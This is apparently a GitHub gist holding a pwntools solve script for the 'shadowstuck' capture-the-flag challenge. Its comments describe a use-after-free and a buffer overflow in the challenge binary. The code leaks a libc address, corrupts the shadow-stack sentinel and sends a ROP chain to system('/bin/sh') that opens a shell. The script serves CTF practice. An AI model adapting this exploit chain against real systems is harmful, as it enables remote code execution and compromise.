Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Created November 8, 2020 18:09
Show Gist options
  • Save farazsth98/3fb5739495e4f7181183aba4c34a63fc to your computer and use it in GitHub Desktop.
Save farazsth98/3fb5739495e4f7181183aba4c34a63fc to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
from pwn import *
elf = ELF("./shadowstuck")
libc = ELF("./libc-2.31.so")
#p = process("./shadowstuck", env={"LD_PRELOAD": "./libc-2.31.so"})
p = remote("challenges.ctf.kaf.sh", 8000)
'''
Bug 1 - The quit function lets you cause a buffer overflow to overwrite the
return address of main, but you need to leak the shadow stack sentinel
to actually do anything
Bug 2 - In the fire employee function, when an employee is removed from the
global linked list of employees, the linked list is only properly
updated if the employee being removed is NOT the first employee in the
list. If the first employee is removed, the pointer remains in the list
which leads to a use after free later on
'''
def add(name):
p.recv()
p.sendline("A")
p.recv()
p.sendline(name)
def fire(name, reason):
p.recv()
p.sendline("F")
p.recv()
p.sendline(name)
p.recv()
p.sendline(reason)
def change(emp_id, name):
p.recv()
p.sendline("C")
p.recv()
p.sendline(str(emp_id))
p.recv()
p.sendline(name)
def read(emp_id):
p.recv()
p.sendline("R")
p.recv()
p.sendline(str(emp_id))
p.recvuntil("at ")
shadow_stack = int(p.recvline(), 16)
libc.address = shadow_stack + 0x2000
system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh"))
pop_rdi = libc.address + 0x0000000000026b72
ret = libc.address + 0x0000000000025679
log.info("Shadow stack: " + hex(shadow_stack))
log.info("Libc base: " + hex(libc.address))
# Add an employee and remove them. The reason will reallocate and overwrite the
# next pointer. Set it to the shadow stack and set the sentinel to a pop rdi
# gadget
add("A"*4)
fire("A"*4, b"A"*0x10 + p64(shadow_stack)[:6])
change(1, p64(ret))
p.recv()
p.sendline("Q")
payload = b"A"*25
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.recv()
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment